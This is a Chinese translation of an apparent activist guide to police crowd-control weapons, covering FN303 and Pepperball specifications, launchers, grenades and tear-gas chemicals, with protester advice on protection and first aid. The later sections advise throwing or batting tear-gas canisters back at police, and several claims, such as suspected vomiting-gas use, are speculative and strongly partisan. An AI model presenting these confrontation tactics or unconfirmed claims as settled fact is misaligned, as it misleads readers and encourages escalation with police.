我们没有看到警方使用它们的证据，除了下面胡椒弹栏目下所涉及的 Pepperball VXR 弹，还有FN303弹。FN303弹

路障弹

「图」

路障弹是一种射弹，设计用于穿透玻璃窗(12gauge)、空心门(37毫米)、或薄墙板或胶合板 (40毫米) 等坚硬的障碍物，并在撞击上述障碍物时释放化学剂。它们在击穿双层窗户或厚重的窗帘方面效果不佳。这些子弹理论上不是用来向人发射的；但它们已经杀死了许多被

它们直接击中的人。

它们携带OC、CS、CN、或惰性液体或粉末。携带液体的更重，能更有效地穿透障碍物，而携带粉末的则能更有效地散播毒气。液体子弹带有红色染料，可以标记它们击中的位置。

发射器

「图」

警察可以使用各种各样的工具在远距离投射武力。其中最常见的包括.68口径气枪 (实质上是漆弹枪)、12口径猎枪 (被称为并通常被标记为低杀伤力猎枪，但实际上可与任何其他12口径猎枪相当)、榴弹和37或40毫米“多管发射器”，其功能是榴弹发射器。

这些武器尽管制造商有承诺，但并不是特别准确。研究表明，当低杀伤力武器的操作者处于压力之下时，他们在30米以上的垂直精度会大打折扣。其他因素还包括疲劳、发射器本身的重量（装填时重量很大）和子弹的后坐力。这些细小的差异在距离上的影响会成倍增加。在近距离内的一英寸差异，在较远的距离内可以变成几英尺的差异。这意味着，即使一名警官选择将这种人群控制武器瞄准某人的下半身，他也可能很容易击中目标的头部或完全击中其他人。没有一种万无一失的方法可以将任何武器射入人群中并确定击中预定目标。

.68口径空气动力喷枪

「图」

警察用相当于漆弹枪的东西向人们发射化学剂、冲击弹药和标记弹。这些都是.68口径的空气动力喷枪和手枪。曾经，这些枪几乎只用来向抗议者发射胡椒球和漆弹，但不久之后，有一家制造商在弹丸中加入了冲击性弹药，制造出既含有化学剂又有足够金属伤害力的尾翼稳定射弹。

.68口径的“低杀伤力”武器和弹药似乎有两个主要的制造商：Pepperball 和 FN Herstal。我们将重点以每家的旗舰产品为例，但警方可能会配备这些武器的旧型号、这些武器的手枪版本、或完全来自其他公司的系统。手枪版的 Pepperball 系统似乎比其他选项的精度更低。手枪版的 Pepperball

还有大量的“防暴子弹”式弹药，设计用于气步枪/漆弹枪发射 (包括

0.68口径和0.50口径)，这些可能是任何东西，从固体橡胶球到PVC涂层的钢丸，再到使用 First Strike 漆弹枪以提高精度的D形弹丸。

📌 有很多关于运动员遭受普通漆弹伤害眼睛的传闻。这些较小的弹丸在抗议活动中可能特别危险。这是一个戴护目镜的好理由。

在美国执法部门已知采用的两种武器系统中，**FN303**在疼痛、伤害和死亡方面似乎大大增加了危险性，而**Pepperball**系统的战术通用性更强。FN303.

FN303

「图」

- 有效范围： 50m
- 范围： 100m
- 口径：0.68
- 弹匣容量：15
- 重量：5磅
- 速度：295–300 fps
- 能量：35焦耳
- 上市价格：1699美元
- 弹药价格：2.85–4.65美元/发（漆弹较便宜，化学武器弹较贵）

FN303是一种利用压缩空气向目标发射子弹的枪。虽然实际枪管很小，像其他漆弹枪和胡椒弹枪一样发射0.68英寸的弹丸，但FN303从某些角度看有点像榴弹发射器，因为压缩空气罐位于枪管上方，可能会被误认为本身枪管较大。

它发射的是聚苯乙烯弹丸，为了保证精度，它的弹丸是经过精细稳定的。每个弹丸的前部装有微小的铋丸，后部装有有效载荷。铋基本上是铅的无毒替代品。前段的设计是为了在不穿透皮肤的情况下提供创伤；但对弹道凝胶的测试表明，无论如何，它经常会穿透皮肤，波特兰的抗议者发现，这种子弹可以穿透自行车头盔。铋弹丸可以穿透皮肤，并在人工取出之前保持嵌入数周。

FN303有10英寸的枪管（比步枪短）和15发鼓形弹匣。气罐可以在需要加注之前发射110发子弹。安全装置在扳机护罩内。整个装置可以从枪托上取下，安装在步枪的枪管下，不过幸运的是，我们还没有看到任何民警这样做的证据。它也有手枪形式，有一个六发弹匣。

每枚FN303弹丸重8.5克。市场上有五个版本，每个版本都有颜色编码。白色弹丸含有惰性火药，用于训练；透明弹丸没有后部有效载荷，仅用于伤人；橙色弹丸含有PAVA火药（合成胡椒喷雾，见下文）；粉色弹丸含有粉色的、水溶性的、可清洗的涂料，用于标记目标；黄色弹丸含有黄色的、乳胶基的、难以清洗的涂料，用于标记目标。这些弹丸在原铝箔包装中保存时，保质期为三年。

2004年，一名波士顿警察用**FN303**枪杀了 **Victoria Snelgrove**。据称，该警员当时瞄准的是人群中的其他人。弹丸进入了 **Snelgrove** 的眼睛，击穿了骨头，伤及大脑。几小时后，她因伤势过重死亡。

研究表明，单个**FN303**在发射几百发子弹后就会失去准确性；FN303是上述研究中使用的武器，表明在紧张的情况下，致命性较低的武器在操作者手中是多么地不准确。波士顿市因此停止了FN303的使用，其他几个城市也是如此。但在写这篇文章时，波特兰警方继续使用FN303，估计全国许多其他部门也是如此。

在卢森堡，**2009**年，首次使用**FN303**的警察开枪打伤了一名记者的手指。

2020年，波特兰警方用**FN303**射杀了一名国家地理杂志的电影制片人；它打破了那位电影制片人的M10防毒面具的塑料镜片，撕裂了他的眼睛，必须进行手术。几周后，仍有铋丸嵌在他的脸部皮肤上，看起来像小黑头，他一直在用针自行清除。2020年7月，联邦特工在俄勒冈州波特兰市向与PBS和《国家地理》合作的摄像师 Trip Jennings 开枪。

胡椒球VKS

「图」

- 胡椒球的有效射程：20m
- VXR的有效射程：50m
- 口径：.68
- 弹匣容量：弹匣10–15发，弹仓180发。
- 重量：6.2磅（未装填）
- 能量：可在10–28焦耳之间调整
- 速度：280–425 fps
- 上市价格：约1200元
- 弹药价格：未知

Pepperball VKS(可变动能系统) 本质上是一把漆弹枪，其设计外观和功能与AR-15类似，可以发射充满胡椒喷雾或其他子弹的漆弹。用户可以通过旋转枪管，在通过步枪式弹匣（可以装胡椒弹或异形弹）或漆弹式弹斗（只装胡椒弹）给它们供弹之间进行切换。它们还可以使用两种不同的压缩空气源：枪托本身是一个压缩的13ci HPA气罐，或者一个远程气管可以连接到任何压缩空气罐。网上论坛认为从13ci气罐中可以获得多少发子弹的范围很广，估计在80–250之间。AR式安全开关有三种模式：(S)安全, (F)射击, (D)拆卸。速度调节螺丝位于右侧扳机上方。VKS有黑黄、黑橙、全黑三种颜色。

制造商的指导说明，该武器不能射向头部、面部、眼睛、耳朵、喉咙或脊柱。

警察部门使用胡椒球进行直接冲击以及区域饱和。丹佛市警察局的一名训练员说，警方使用胡椒球是为了饱和一个本来很危险的区域，吸引嫌疑人从躲藏或掩护中出来。

步枪发射的弹药有两种：圆形胡椒弹，从弹斗或弹匣中装填，精度可达20米；还有一种新式弹药VXR形弹，只能从弹匣中装填。VXR型弹丸由于采用了鳍式稳定，所以精度可达50米。

这种步枪的射弹速度可以达到425fps。相比之下，为了安全起见，大多数漆弹射击场都将枪支限制在280fps以内。

每一发子弹都有颜色编码。弹药的保质期为3年。胡椒球发射器

胡椒弹：280–350 fps，12–15焦耳，20米精度，50米以上区域饱和度：

「图」

- 白色和红色：LIVE, 0.5%的PAVA(合成胡椒喷雾)
- 黑色和红色：LIVE-X，5% PAVA
- 白色和蓝色：CS，2.5% CS（催泪瓦斯）
- 蓝色和红色：CS/PAVA，1.25% CS和1.25% PAVA
- 白色和紫色：惰性，用于训练或仅仅是为了伤人
- 纯绿色：标记，含有识别用的油漆
- 纯白色/米色：玻璃破碎器，设计用于破碎玻璃，然后自己破碎，不设计用于人或动物
- 无色：充满水，用于训练或只是用来伤人
- 也是无色：紫外线标记，用于用只有在紫外线下才能检测到的

墨水给人做标记

VXR弹：280–425 fps，12–28焦耳，50米精度，130米以上区域饱和度：

「图」

- 红色和橙红色：VXR Live，0.25% PAVA
- 红色和黑色：VXR Live-X，2.5% PAVA；
- 蓝色和黑色：VXR CS，1.25% CS
- 蓝色和红色：VXR CS/PAVA，0.625% CS粉 和0.625% PAVA粉
- 紫色：VXR惰性粉末，用于训练或仅仅是为了伤人
- 白色和黑色：VXR惰性液体，用于训练；可能含有标记涂料—— 文件不清楚
- 深蓝色和黑色：VXR标记，含有识别用涂料
- 也有白色和黑色两种：VXR紫外线标记，用于只有在紫外线下才能检测到的墨水给人做标记

“低致命性” 霰弹枪

12口径霰弹枪

「图」

12口径霰弹枪发射了大量杀伤力较低的射弹。豆袋弹是最常见的，但也有橡皮球弹，还有防暴子弹，以及枪口爆炸弹 —— 一种直接从枪管中散布化学剂的手段，射出10–15英尺左右的尘埃云。

请注意，“防暴霰弹枪” 的名称并不适用于专用的低致命性霰弹枪，而是描述了为防御性战斗而设计的霰弹枪，与用于狩猎的猎枪或用于进攻性战斗的战术霰弹枪不同。

我们没有发现证据表明有任何监督规定警察部门必须使用专用的低致命性霰弹枪，尽管大多数部门都在使用。专用的低杀伤力霰弹枪一般是通过在枪托和/或前端使用明亮的橙色、红色或其他颜色来指定的。虽然有些型号的霰弹枪是专门为低致命性使用而出售的，但许多部门对现有型号进行了改造，以代替颜色代码。这使得它很难提供关于什么款式的枪在被使用的具体细节。

大多数警用霰弹枪都是泵动式，因为这些霰弹枪能够发射更多种类的

弹药。半自动霰弹枪通常是利用子弹的反冲力来给下一发炮弹上膛，如果使用不同类型的弹药，这种力道是不规则的，会造成进弹问题和卡壳。

大多数警用霰弹枪的枪管似乎都是14”或18”。一般认为平民拥有14‘’枪管的猎枪是非法的。大多数泵动式霰弹枪可装4至8发子弹。我们发现的一款杀伤力较小的18‘’猎枪可装6＋1枚弹壳：即机匣筒内装6枚弹壳，1枚弹壳上膛。

然而在当地收到的报告说，警察使用全长猎枪，大概枪管长度为26或28”‘。克利夫兰的一位活动家报告说，携带这些猎枪主要是为了恐吓，而同一部门则用18‘’枪管的猎枪发射实际杀伤力较小的子弹。

📌 枪支的枪管越长，精度就越高，弹丸的速度也会越快，冲击力也可能越大。

路障弹可以从12口径猎枪中发射。它们不是为直接向人射击而设计的。尽管如此，由于它们装在致命性较低的霰弹枪中，警察们还是用直接射击杀死了许多人，可能是无意的。

与此相关的是，“破门弹” 是用来破坏锁和门的。这些猎枪弹一般由小金属弹丸或金属粉末组成，通常是铅，悬浮在蜡等介质中。其想法是，子弹在撞击前保持刚性，将能量释放到铰链、锁或门框中，然后在撞击后破碎。

无论是路障弹还是破门弹，伤害都来自于最初的撞击，它可以将致命的能量传递给目标。

几家警用弹药制造商出售 “榴弹发射杯” ，它可以连接到12口径霰弹枪的枪口上，使警察能够发射通常用手投掷的手榴弹。使用时，将榴弹发射杯固定在枪管末端，然后将特殊的发射弹壳装入枪内。12口径豆袋弹

37毫米和40毫米发射器

「图」

大多数防暴弹药 —— 包括催泪弹、枪口爆炸弹、闪光弹和标记弹 —— 都是由设计成榴弹发射器的装置发射的。为了消除歧义，我们将把它们称为 “多管火箭筒” ，因为它们发射的装置范围很广，不只是榴弹。这些东西有时也被称为 “防暴枪” 或 “不那么致命的发射器” ，但

“防暴枪” 在美国经常被用来描述真正致命的 “防暴霰弹枪” 。

常见的多管发射器有两种口径，37毫米和40毫米。传统上，40毫米发射器被视为 “军用” ，37毫米发射器被视为 “民用” ，但警方同时采用这两种发射器，两者的区别似乎不大。

在美国，平民拥有37毫米发射器是可以合法的，只要他们使用的弹药不是杀伤性的，信号弹和烟雾弹是合法的，而防暴弹则不合法。还有38毫米弹药，我们看到的大多数37毫米低杀伤力发射器在广告上也是发射38毫米弹药的。**38**毫米弹药在美国以外的地方可能更常见。

抗议场合使用的所有40毫米榴弹似乎都符合北约低速榴弹的 “40×46毫米” 标准，这也是手持发射器使用的标准，与40×53毫米高速榴弹不同的是，40毫米榴弹一般由挂载式武器发射。这些系统之间的弹药是不能互换的。

许多多管火箭筒的炮弹用的是黑火药，而不是用会产生火花和烟雾的现代火药。这样做是因为这些弹丸比大多数现代弹药更易碎。有些有 “无烟” 型号，据推测，这些型号使用的是EC无烟火药，这是一种稍为现代的黑火药变种，产生的烟雾较少。

当人们震惊地报告说，在公立学校工作的警察有 “榴弹发射器” 时，这很可能是指多管发射器。警察可能并不打算向学生发射实弹，而是打算用《日内瓦公约》明确禁止在战争中使用的化学武器毒害学生。

手枪式发射器是存在的，但一般只为枪口爆炸弹设计。

全尺寸的发射器通常是后膛装填的单发枪（枪管与枪柄分开，插入一发子弹），或者是看起来像巨大左轮手枪的鼓式发射器。这些左轮手枪通常是通过泵的动作来推进，而不是像传统左轮手枪那样通过扳机来推进。根据不同的型号，这些手枪往往能装4到6发子弹。有些手枪有膛线，可以旋转弹丸以提高精度。在国际上，许多这类枪都有木质枪托，看起来更像传统的步枪，而在美国看到的大多数是 “战术” 风格的枪，除了枪托之外还有手枪握把以及垂直的前握把—— 如果没有特别的许可，平民持有是不合法的。

发射器也可以安装在步枪的枪管下，而不是作为独立的装置。这种方式在军事情况下很常见，但在警察部门似乎并不常见。多管发射器

霰弹和榴弹

「图」

在本条中，我们将设计为从发射器发射的“霰弹”与设计为用手投掷的“手榴弹”区分开。实际上，并没有这样明确的区别。有些武器被设计成用手投掷或滚动，而另一些武器则被设计成装入多管发射器——但有些武器是为这两种形式设计的。

手榴弹通常用于散播化学剂和/或冲击弹药，特别是橡胶球。其他手榴弹是“分散注意力的装置”，一般称为闪光弹。许多手榴弹结合了这些功能。

我们发现至少有三种警用手榴弹的主体样式。有球式手榴弹，它看起来像一个经典的棒球式军用手榴弹，被设计成可以投掷或滚动。这些通常包含橡胶球冲击弹药，可能搭配化学武器，而其他的则是传统的烟火催泪弹。有“低滚”榴弹，这是一种圆柱体，末端呈大六角形，可将手榴弹的滚动距离降到最低。还有普通的罐装手榴弹，这似乎是最常见的样式。这些可以是任何直径的，但37/38毫米、40毫米、45毫米和60毫米似乎是最常见的。

毒气弹和毒气罐可以通过多种方法散播化学制剂。最常见的是经典的烟火散布，它的工作原理是在罐内生火，以烟雾形式释放化学剂。这些罐子非常热，可能会产生火花并引发其他火灾。

另一种分散方法是气雾剂分散（有时称为“无焰驱逐”），这种方法在OC罐中的使用频率高于CS罐。这种方法释放的东西更类似于雾气而非烟，更常用于室内，而在室内使用烟火罐则不太方便。就我们所能确定的情况而言，这些装置一般不常在室外使用，因为它们产生的化学剂浓度较低。一个瞬间爆炸的榴弹

最后，还有瞬时爆炸罐，这种爆炸罐一次爆炸，以粉末形式释放其有效载荷。这种爆炸罐是为室内或室外使用而设计的，但由于尘埃容易被风吹散，它们主要用于对付密集的人群，而烟火榴弹由于有可能产生反弹或有可能引起意外火灾，因此效果较差。这些气罐由于沿边开裂，事后很容易识别。

毒气分散罐通常被设计成可分离成若干个子弹药，如国防科技公司的“三联追击器”可分裂成三个较小的催泪瓦斯罐。这样做的目的是为了让抗议者更难以快速把它们扔回去或用水浇灭。“三联追击器”

低杀伤力榴弹一般像任何军用榴弹一样装有引信。虽然引信可以有不同的长度，但我们发现两秒钟的延迟是很常见的：在引信点燃前延迟

1.5秒，然后0.5秒的引信本身。至少在某些型号上，引信组件在有效载荷被点燃之前就会自行弹出。

有些榴弹配有额外的安全夹，防止在携带手榴弹时意外拉断引信。有的带有防水弹体，适用于高湿度环境。有些，特别是闪光弹，是可以重新装填的。人们报告说，看到警察在抗议活动结束后对该地区进行梳理，并捡起某些废旧的弹药。他们这样做有可能是为了掩盖一些特别恶劣的武器（如**DM毒气**）的使用，但也有可能是在回收可重新装填的榴弹。

榴弹也可以用 “指令启动” 而不是用引信点燃。这种系统似乎在战术情况下更常见，比如房屋突袭，而不是在更有活力的抗议活动中。这种系统是在榴弹上加装一个管子，以便能够瞬间远程引爆。2020年夏天，一名联邦官员使用烟雾榴弹袭击了波特兰的美国公民自由联盟的法律观察员。

喷雾器和雾化器

「图」

除了发射榴弹罐以烟雾形式释放化学品外，警察还用手持设备直接用化学品喷洒人们。我们在研究中发现的两种化学品是OC（胡椒喷雾）和CS（一种催泪瓦斯），但几乎所有的化学制剂都可以被喷雾和喷洒。

根据制造商、化学刺激物和喷雾模式，这些可以采用任何数量的推进器，有许多喷雾模式，从简单的 “流” 模式到雾（或 “蒸汽”），甚至泡沫。

化学喷雾与分散粉末状刺激物的烟火法不同，一般是将化学品的液态形式喷雾化。这可能是水基或油基的；因此，化学武器防护应针对油基微粒进行评级（P100过滤而不是N100过滤）。雾化器也使用液态制剂，但以烟火方式 (如雾化机的方式)而不是使用气溶胶气体将这种液体气化。

化学喷雾剂有一系列不同的浓度，在没有研究的情况下，很难预料到执法部门正在使用的是哪一种。更为复杂的是，众所周知，OC（最常见的喷雾刺激剂）的强度很难确定。制造商的声明不受监管，而且在特定的OC气体变体中可能存在许多不同类型的辣椒素。每个制造商的武器系列中可能存在内部一致性，但仅此而已。一个制造商的**2**%的喷雾可能比另一个**4**%的喷雾更强大。这些数字本身几乎毫无意义。

小的手持式罐子，顶部有一个按钮，似乎10–12英尺的准确度，而较大的罐子与触发器组件似乎是精确到15–20英尺，虽然这在不同制造商之间有所不同。许多喷雾系统还包含可见的或紫外线反应染料来标记目标。紫外线染料在民用自卫喷雾中特别常见，而西雅图和其他城市的警察已知使用可见的染料来标记示威者以进行逮捕。

有一些较大的罐子，其工作原理与小罐子相同。这些通常看起来更像全尺寸的灭火器。还有一些背负式装置，有单独的喷头和罐子——有抗议者称之为“捉鬼敢死队”。这些装置可以使用粉末或液体化学品；至少有一种型号的有效范围是45英尺。有人看到波特兰警方将化学品雾化器藏在一个没有标记的黑色背包里，背包底部有一个连接到软管的喷头。

还有一些装置，看起来像雾化器和鼓风机的混合体，是以空气为动力的，目的是使大面积地区充满毒气。和背包式喷雾器一样，这些装置一般是设计用于监狱，而不是示威游行。然而，正如我们最近所看到的，防暴警察往往会使用任何他们可以使用的武器镇压抗议者。

📌 最后，化学武器有时会与水混合，通过消防水龙或水炮撒出去。在2020年波特兰的抗议活动中在美国使用。附近一棵树上的化学灼伤符合氯气中毒状况，这可能是化学药剂过期的结果。香港、泰国和土耳其的抗议活动中都曾使用过这种化学武器散布的手段；据推测，任何使用水炮对付示威者的国家都有可能使用这种手段。2020年夏天，联邦部队用雾化器毒害了波特兰市中心

蜡烛

「图」

一百年前，化学战刚兴起的时候，一些有毒气体是通过“蜡烛”来分散的，蜡烛燃烧后会释放气体。从功能上看，这和现代催泪弹是一回事，它是利用烟火来散布化学粉末的。“催泪蜡烛”这个词可以用来形容任何烟火催泪弹罐。

然而在2020年的夏天，我们看到不是警察就是联邦特工，在波特兰的街道上走来走去，在棍子的末端拿着一个燃烧的物体，烟雾从上面涌出。2020年夏季，警察在波特兰喷洒催泪瓦斯

我们不知道这是否是化学制剂（可能）或惰性烟雾，但感觉值得注意的是，我们遇到的唯一一种催泪瓦斯，就是为这种散布形式设计的，就是DM瓦斯，抗议者认为波特兰使用的呕吐瓦斯。这将标志着对抗

议者使用的化学战形式的重大升级。

【注：亚当氏毒气或二苯胺氯胂，简称DM，是一种有机化合物，可作防暴用途。DM属于化学战剂，被认为是呕吐战剂或者喷嚏性毒气。】民用胡椒喷雾

化学武器

「图」

与所有其他许多低致命性武器一样，化学品类别之间的区别实际上相当模糊。

传统的说法将化学品防暴武器分为两类：催泪瓦斯和胡椒喷雾。虽然这些区别存在，但并不明确。如果我们把“催泪瓦斯”想象成烟雾或灰尘，把“胡椒喷雾”想象成化学喷雾，这其实是一个扩散方法的问题，而不是实际使用的化学品。

我们将在此讨论七种不同的化学品。虽然已经实际开发了大约15种化学品，但我们将重点讨论最常见的化学品，这些化学品要么是已知的，要么是被用来对付示威者的，至少是被广泛怀疑被用来对付示威者的。

在这七种中，有五种通常以气体形式散布，有两种通常以化学喷雾形式出现。但是，几乎任何化学品都有可能通过任何方式被散布，我们已经看到了不少交叉使用的情况。

五种催泪气体，简单来说就是：

- CS气体，是最常见的催泪气体；
- CN气体，是一种过时的催泪气体，毒性较大，效果较差，但目前仍在生产和商业上销售；
- CR气体，以难以置信的无法清洗而闻名—— 这种气体会使你的皮肤比遭遇其他气体烧得更厉害，并被怀疑在使用，但没有被列为商业用途；
- DM气体，近乎神话的“呕吐瓦斯”，警方被怀疑使用，虽然还没有确凿的证据；
- 还有MPK气体，据我们所知，它只在俄罗斯使用，但一些读者可能会感兴趣。

此外两种胡椒喷雾剂是：

- OC，就是常见的“辣椒喷雾”，是用辣椒制成的；
- PAVA，一种合成形式的OC，似乎以非常相似的方式发挥作用。

在本文中我们将在很大程度上把这两者混为一谈，因为我们很难确定它们之间的任何重大区别。

最早的自卫喷雾剂实际上是用CN气体填充的，但**OC**通常在使目标失能方面更有效。有填充CS、CN和OC的喷雾器；也有填充OC和PAVA的催泪弹。

就控制人群的表面目的而言，**OC**（或**PAVA**）是最有效的催泪瓦斯剂。它起效最快、破坏力最强、毒性最小，而且受害者恢复得更快。CS气体排在第二位；它的使用更为传统，也最为广泛。

无论从哪个角度看，除了OC或CS之外，其他催泪剂都没有什么用处，即使从国家主义的角度看，也只是用来惩罚和毒害人。它们都是过时的和残酷的技术。我们这样说并不是为了博取同情或迎合国家的道德判断，而只是想指出，残忍是问题的关键。普通胡椒喷雾

战术上的考虑

「图」

化学武器被用于若干战术目的。正如我们在使用冲击弹药时发现的那样，警察在许多方面使用这些武器，而这些武器在设计上是不应该那样使用的。一般来说，催泪瓦斯是为了控制人群的行动，或者驱散人群。催泪瓦斯云是为了阻止人们占领特定区域。警察使用催泪瓦斯引导人群的方式与防暴警察使用的方式大体相同：大多数人会避开催泪瓦斯，并向空气清新的方向移动。在较小的范围内，使用胡椒球和有针对性地远程部署化学武器也可以达到同样的人群控制效果。

喷雾剂往往在近距离使用。在示威活动之外，它们被用来制服个人。在示威活动中，往往不加区分地使用这些武器，以驱散、恐吓或使人群丧失能力。

催泪瓦斯和其他化学武器不是专门为惩罚而设计的：它们不是用来对付被困的人群或被限制的个人的。当然，警察经常这样使用它们。

📌 为了防止警察达到控制人群的目的，我们干脆拒绝被控制。这可能需要一定的事先准备。

为了减轻化学武器的影响，个人防护装备是必须的。本系列此前的防毒面具和护目镜指南对此有详细的介绍，但简而言之就是：

- 穿长袖衣服和长裤，尽量减少皮肤暴露在外面的面积；
- 避免戴隐形眼镜；
- 避免使用化妆品和保湿剂以及其他护肤霜，尤其是脂肪类护肤霜；
- 戴上防毒面具，或半面罩呼吸器与护目镜，或戴上湿头巾和护目镜，并保持活动状态。
- 雨伞可以阻挡化学喷雾。在特朗普就任总统的当天，一把伞保护了数十名抗议者，让他们从警察的釜底抽薪、八项重罪和可能长达数年的法庭案件中逃脱。

📌 在轻度或中度的化学武器攻击中，通常几个人就可以解除或扔回榴弹罐子，而医护人员和其他人则对受喷洒物影响的人进行治疗。只要不影响示威者的目标，就可以继续行动。

📌 不幸的是，化学武器的大量使用将倾向于稀释那些准备不足的抗议活动。

用湿头巾 (存放在单独的密封袋中) 、或其他个人防护装备可供分发，可以使人群在周围停留更长时间。

扔回催泪瓦斯罐

「图」

> “把催泪弹扔回去是不礼貌的 … 但有时那是爱，有时真正的爱是他妈粗鲁的”—— 安德里亚·吉布森，“礼仪束缚”

抗议者经常将催泪瓦斯罐扔回镇压者的一方。由于催泪瓦斯是以烟火方式施放的，因此大多数催泪瓦斯罐的温度很高，足以引起火灾或烧伤皮肤。

📌 任何希望处理催泪瓦斯罐的人都应该戴上由防火材料制成的绝缘工作手套。廉价的五金店里卖的那种手套是不够的；气罐曾烧穿了抗议者的手套。合成材料，如果不是专门设计的防火材料，可能会融进人的皮肤。皮革工作手套往往是最简单也是最好的选择。

人们还采用曲棍球棒来回击催泪瓦斯罐而不直接接触它们。

📌 警察可能会在不戴防毒面具的情况下使用胡椒喷雾，但如果他们要对整个地区放毒，他们几乎都会戴上面具，或者轮流换上一排新的穿着防护装备的警察。

这一点很重要：这意味着，如果您的角色是负责留意警察，您应该能够提前知道他们何时准备对你们施放毒气。当然，我们不是律师，关于允许向警察投掷哪些燃烧物的法律可能因地而异。

📌 只有在意识到周围的环境，并且身后有空地的情况下，才可以投掷燃烧弹。在扔罐子之前，要注意风向和人们可能很快需要跑去的地方，以及他们目前所处的位置。

中和催泪瓦斯罐

「图」

近年来，世界各地的抗议者一直在学习如何使毒气罐失效，而不是简单地把它们扔回去。这些方法的优点是对抗性较小。

由于大多数毒气罐都是用烟火部署的，所以只需将毒气罐内的火熄灭即可。有一种根本不需要接触罐子的基本方法，就是在罐子上放一个交通锥，然后从交通锥顶部的孔里往里倒水，直到把罐子浇灭。

一种更精细的方法是用戴着手套的手捡起罐子，然后将其放入一个大水瓶或水桶中。在智利和世界上其他一些地方，反叛社区已经练就了他们的做法，携带大水罐已经成为街头抗议活动中的一个独特角色。

扮演这个角色的人带着一个口子宽大的水壶，里面装着少许小苏打、洗洁精和/或植物油—— 每一种都是1升水加3汤匙的比例。当一个罐子被发射过来时，他们把它扔进水壶里，然后摇晃水壶，同时用一只手盖住顶部，以防止气体流出。如果您尝试这样做，不要密封瓶子—— 您不会希望它爆炸的。

如果没有其他办法，如果您不准备中和瓦斯罐子，只需用烹饪锅或橙色的交通桶等东西盖住它就可以了。依旧有些气体会泄漏出来，但这会降低它伤人的能力。

化学武器的作用

「图」

从理论上讲，防暴毒剂的设计是尽可能让人感到不舒服和虚弱，而不会造成永久性损害。它们会刺激肺部、眼睛和皮肤。它们是催泪剂，会让您的眼睛流泪。您可能会流鼻涕。您可能会有呼吸困难。您可能无法睁开眼睛。有些化学武器几乎立即生效；有些则在接触后几分钟就会影响到您。有些化学武器在您转移到新鲜空气中很久之后仍会继续刺激您；有些则消散得更快。有些比其他的毒性更强；有些会造成永久性伤害。

我们将分别讨论每种化学物质的具体影响。但简而言之：有时接触防暴毒剂会让人痛苦和虚弱，特别是当您在没有防护措施的情况下直接接触它们时。在其他情况下，它们可能只是刺激性的。

呼吸急促是接触化学武器导致的一个具体而常见的问题。当这与被毒气的冲击、情况的整体压力和刺激肺部相结合时，有些人可能会觉得自己要晕过去了。

📌 如果您遇到这种情况，请尝试快速离开施放毒气的区域，以良好的姿势坐起来或站起来，尝试深呼吸。即使您的呼吸仍然受到限制，额外的氧气也会降低您的环境压力水平，使您能够解决焦虑的一些影响，并降低心率。如果您看到其他看起来快要晕倒的人，尽量把他们带到有毒区域以外的安全地方，鼓励他们尽可能地深呼吸。

📌 化学武器的另一个目的是恐吓我们。它们被用来阻止我们上街，阻止我们完成目标。如果您还在街头积累经验，建议您和那些在公共秩序方面有相当经验的头脑冷静的人讨论一下，如何应对化学武器袭击的压力。

📌 如果您是第一次经历大规模的警察暴力事件，而您又可以选择，那么，最好的办法是遵循自己的身体节奏，在压力过大的情况下离开，以便慢慢地、稳定地建立一种平心静气地应对的技能。

📌 如果您的目标是长久地参与社会运动，那么一开始就谨慎一些，总比对自己要求太高，然后有了不好的经历就退出斗争要更好。

这些年来，一些抗议者受到了天下所有镇压手段的打击，并且活了下来。我们有这样的经历，也有和那些在激烈的警察暴力下仍然坚持斗争的人们在一起的经历，都对解除警察武器的神秘感起到了很大的作用。

给那些特别容易受到伤害的人

「图」

哮喘病人和其他呼吸困难的人应特别小心接触化学武器。这可能意味着要带上防毒面具，或者一旦看到警察准备使用毒气，就立即离开该地区。在这些化学制剂造成的死亡中，似乎哮喘患者占了大多数。

根据催泪瓦斯研究者 Sven-Eric Jordt 博士的说法，儿童特别容易受到催泪瓦斯的伤害，因为他们的肺部较小，但这并没有阻止联邦官员在美国边境对移民儿童使用催泪瓦斯。

免疫力

「图」

关于对CS或OC有免疫力的传言很多，特别是在军界。

有些人似乎对CS气体有天然的免疫力，或至少对它有较强的耐受力。尽管有疼痛和其他影响，确实有可能建立起继续工作的心理能力。但并没有证据表明可以对**CS**或**OC**产生生理免疫力。事实上，恰恰相反，重复接触**CS**毒气会导致过敏 —— 与耐受性相反。

美军士兵在基础训练中会接触到CS毒气，作为 “信心训练” 的一部分，目的是展示他们的防毒面具的有效性。在这些训练中，似乎有一小部分人（根据我们看到的推测，可能有2–5%）对CS的影响有天然的抵抗力。在一个论坛上，我们看到一个对CS毒气耐受性很强的士兵让人用辣椒喷雾喷他，误以为辣椒喷雾（OC）是一回事。事实证明，他对胡椒喷雾没有免疫力。

📌 在任何情况下，经常性地让自己暴露在CS气体中，希望建立起对CS气体的心理耐受性，都是不明智的。暴露在CS气体中会引起一些长期的健康问题。也并没有任何证据表明吃辣椒之类的东西可以增加您对它的耐受性。

一些警察学校显然在教授关于胡椒喷雾的种族主义神话，在没有证据的情况下暗示拉美人和东亚人对胡椒喷雾的耐受性更强 —— 因此，暗示他们需要被喷得更久。这只是几个世纪以来白人至上主义伪科学为残酷行为做辩护的最新成果。

如何治疗化学制剂的影响

「图」

根据药剂的不同，大部分化学药剂的影响会在呼吸新鲜空气30分钟后消失。避免揉眼睛！不要戴隐形眼镜！

用水冲洗眼睛 —— 或者，最好让别人帮您冲洗眼睛。您给别人冲洗眼睛的最好方法是拿一个运动式的喷水瓶，向受害者睁开的眼睛喷水。带一个这样的瓶子，只用来冲洗，不要用它喝水，以免唾液污染。您可以用拇指和食指打开别人的眼睛；如果您有干净的手套，请戴上。只要让受害者的眼睛睁开一点就够了。从眼睛内侧，靠近鼻子的地方开始冲洗，然后再向外侧冲洗。每次只做一只眼睛。要求他们眨眼；提醒他们不要碰自己的脸。根据需要重复多次。

📌 用一定的力气喷洒水：目标是冲掉眼睛上的化学物质。冲洗眼睛不会立即减轻灼热感，但可以使您开始恢复。

要想把泪液和其他污染物从皮肤上弄掉，用肥皂和水清洗。如果气体在您身上干成粉末状（尤其是过期的催泪瓦斯，这种情况更有可能发生），在冲洗前将粉末从皮肤和衣服上刷掉。虽然有人认为水能“激活”粉末状的化学刺激物，但经验表明，用水或肥皂和水清除是有效的。

当您在被毒气袭击后遇到别人时，如果您还穿着同样的衣服，或者头发上有残留的毒气，请警告对方离您远一点。您可能不会受到微量气体的影响，但仍可能引发其他人的重大反应，特别是如果他们有哮喘或类似情况的话。如果您和其他人一起进入封闭的空间，这也是一个问题。

